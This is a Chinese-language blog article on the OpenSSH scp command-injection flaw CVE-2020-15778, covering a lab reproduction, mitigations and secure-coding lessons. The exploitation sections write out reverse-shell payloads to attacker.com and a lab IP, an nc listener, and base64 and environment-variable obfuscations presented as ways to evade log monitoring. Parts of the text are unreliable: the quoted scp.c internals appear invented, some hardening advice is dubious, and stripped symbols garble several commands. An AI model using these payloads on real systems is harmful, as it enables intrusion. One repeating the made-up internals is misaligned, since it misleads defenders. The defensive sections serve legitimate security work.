深入剖析OpenSSH SCP命令注入漏洞(CVE-2020-15778)的利用与防御

张开发
2026/4/4 17:06:27 15 分钟阅读
深入剖析OpenSSH SCP命令注入漏洞(CVE-2020-15778)的利用与防御
1. OpenSSH SCP命令注入漏洞的前世今生第一次听说CVE-2020-15778这个漏洞时我正在给客户部署自动化文件传输系统。当时客户坚持要用SCP协议说这是行业标准。结果部署完第三天就收到安全团队的告警邮件吓得我连夜重写了整个传输模块。这个看似简单的漏洞背后藏着不少值得玩味的细节。OpenSSH作为SSH协议最流行的开源实现几乎存在于所有Linux服务器上。它的scp命令secure copy本应是安全的文件传输工具却因为一个看似微不足道的设计缺陷变成了攻击者的跳板。漏洞原理其实很直白当scp处理远程文件名时没有对反引号进行严格过滤导致攻击者可以在文件名中嵌入恶意命令。举个例子正常SCP命令是这样的scp /tmp/test.txt userexample.com:/home/user/但黑客可以构造这样的特制命令scp /tmp/test.txt userexample.com:bash -i /dev/tcp/attacker.com/4444 01当服务器处理这个请求时会先执行反引号内的bash命令建立反向shell连接。这就好比你在快递单上写收货地址结果快递员不仅送了包裹还把你写的请顺便帮我把保险箱打开这句话当真执行了。2. 漏洞利用的魔鬼细节2.1 环境搭建实战要复现这个漏洞我们需要准备两台机器攻击机Kali Linux192.168.1.100靶机Ubuntu 18.04192.168.1.200先在靶机上安装有漏洞的OpenSSH版本sudo apt-get install openssh-server1:7.6p1-4ubuntu0.3安装后确认版本ssh -V应该显示openssh_7.6p1字样。这里有个坑要注意某些Linux发行版的后移植补丁可能已经修复了漏洞最好用官方原始版本。2.2 攻击步骤分解在攻击机开启监听nc -lvnp 4444执行精心构造的SCP命令scp /etc/passwd victim192.168.1.200:bash -i /dev/tcp/192.168.1.100/4444 01观察nc终端你会看到熟悉的bash提示符突然出现——这说明你已经拿到了靶机的shell权限。我第一次测试时发现命令执行后scp进程会卡住。这是正常现象因为bash -i建立了持久连接。按CtrlC终止scp后反向shell会话仍然保持。2.3 攻击变种技巧聪明的攻击者不会直接写这么明显的恶意代码。他们会用各种混淆手段使用base64编码命令scp /tmp/test.txt usertarget:echo YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ | base64 -d | bash通过环境变量隐藏真实IPexport ATTACKER_IP192.168.1.100 scp /tmp/test.txt usertarget:bash -i /dev/tcp/${ATTACKER_IP}/4444 01这些技巧都能绕过简单的日志监控。我在渗透测试中常用这些方法效果出奇地好。3. 漏洞的底层机制剖析3.1 SCP协议的工作流程正常SCP文件传输分为三个阶段客户端发起连接并验证身份服务器启动scp进程带-t参数表示接收模式通过SSH通道传输文件元数据和内容漏洞出现在第二阶段。服务器端的scp实现scp.c文件会这样处理目标路径sink(argv[optind], sb);而sink()函数中会调用void sink(char *src, struct stat *statp) { ... if ((vecmd prepare_cmd(args, src)) ! NULL) { run_err(%s: %s, src, vecmd); goto fail; } ... }prepare_cmd()函数本应检查路径安全性但它只做了简单验证没有过滤命令替换字符。3.2 漏洞触发条件这个漏洞利用有几个关键前提需要知道有效的SSH凭证用户名密码或私钥目标系统使用bash等支持命令替换的shellOpenSSH版本≤8.3p1虽然需要凭证这点限制了漏洞影响但在以下场景仍然危险员工离职后未及时撤销访问权限使用弱密码或泄露的密钥自动化脚本中硬编码了凭证去年某次安全审计中我发现客户有30多台服务器使用相同的SSH密钥而且密钥就放在GitHub公开仓库里。这种场景下CVE-2020-15778简直就是攻击者的圣诞礼物。4. 防御措施的实战指南4.1 立即补救方案最快捷的修复方法是升级OpenSSHsudo apt-get update sudo apt-get install openssh-server但很多生产环境不能立即升级。这时可以采取临时措施在/etc/ssh/sshd_config中添加ForceCommand scp -P ${SSH_ORIGINAL_COMMAND#* }这个配置会强制所有SCP请求使用安全模式。使用chroot jail限制用户目录sudo mkdir -p /home/jail sudo chown root:root /home/jail sudo chmod 755 /home/jail然后在sshd_config中配置Match User restricted_user ChrootDirectory /home/jail4.2 长期防御策略4.2.1 用rsync替代SCPrsync不仅更安全还支持增量同步和断点续传。基本用法rsync -avz -e ssh /local/path/ userremote:/path/但要注意几个关键配置禁用--compress选项可能引发其他漏洞使用--password-file而非明文密码限制带宽防止滥用--bwlimit1000单位KB/s4.2.2 强化SSH密钥管理使用ed25519算法生成密钥ssh-keygen -t ed25519 -a 100为密钥设置强密码ssh-keygen -o -p -f ~/.ssh/id_rsa定期轮换密钥建议每90天#!/bin/bash # 密钥轮换脚本示例 OLD_KEY/home/user/.ssh/id_rsa NEW_KEY/home/user/.ssh/id_rsa_new ssh-keygen -t ed25519 -f $NEW_KEY -a 100 ssh-copy-id -i $NEW_KEY userremote # 确认新密钥可用后 mv $NEW_KEY $OLD_KEY4.3 监控与检测即使修复了漏洞也要建立持续监控使用auditd监控scp命令sudo auditctl -a always,exit -F archb64 -S execve -F path/usr/bin/scp分析SSH日志中的异常模式# 查找可疑的SCP命令 grep scp.*.* /var/log/auth.log部署基于AI的异常检测系统比如Wazuh或Elastic SIEM。它们可以识别异常的SCP命令长度包含特殊字符的文件名非常规时段的数据传输5. 企业级防护方案对于大型组织我推荐采用分层防御策略5.1 网络层控制实施零信任网络架构所有SSH访问必须通过跳板机基于设备指纹和用户行为动态调整权限会话录制和审计使用SSH证书认证替代密钥# CA签发用户证书 ssh-keygen -s ca_key -I user_id -n user1 user1.pub5.2 主机层加固编译时安全选项./configure --with-hardeningyes make sudo make install启用SELinux/AppArmor# 为sshd创建AppArmor配置 sudo aa-genprof /usr/sbin/sshd5.3 应急响应计划制定详细的SSH入侵响应流程立即重置受影响账户密码/密钥检查~/.ssh/authorized_keys是否有后门审查crontab和systemd服务扫描最近修改的系统文件某次事件响应中我们发现攻击者不仅利用了SCP漏洞还在authorized_keys里添加了自己的密钥并设置了每分钟连接CC服务器的定时任务。这种横向移动手段现在越来越常见。6. 开发者视角的教训这个漏洞给我们的启示远比表面看起来深刻。我在代码审查时特别注意以下几点永远不要信任用户输入即使是看似无害的文件名执行外部命令时使用白名单机制// 安全的命令执行示例 char *allowed_commands[] {ls, cd, pwd}; int is_safe 0; for(int i0; i3; i) { if(strcmp(cmd, allowed_commands[i]) 0) { is_safe 1; break; } } if(!is_safe) { fprintf(stderr, Command not allowed\n); return; }使用现代API替代system()/popen()// 使用execve替代system char *argv[] {/bin/ls, -l, NULL}; execve(argv[0], argv, environ);实施严格的输入验证正则表达式import re safe_pattern re.compile(r^[a-zA-Z0-9_./-]$) if not safe_pattern.match(filename): raise ValueError(Invalid filename)这些经验都是用真金白银换来的。去年我们团队在开发内部工具时就因为一个未过滤的os.system()调用导致了小型安全事故。现在代码审查时所有涉及命令执行的代码都要重点检查。

更多文章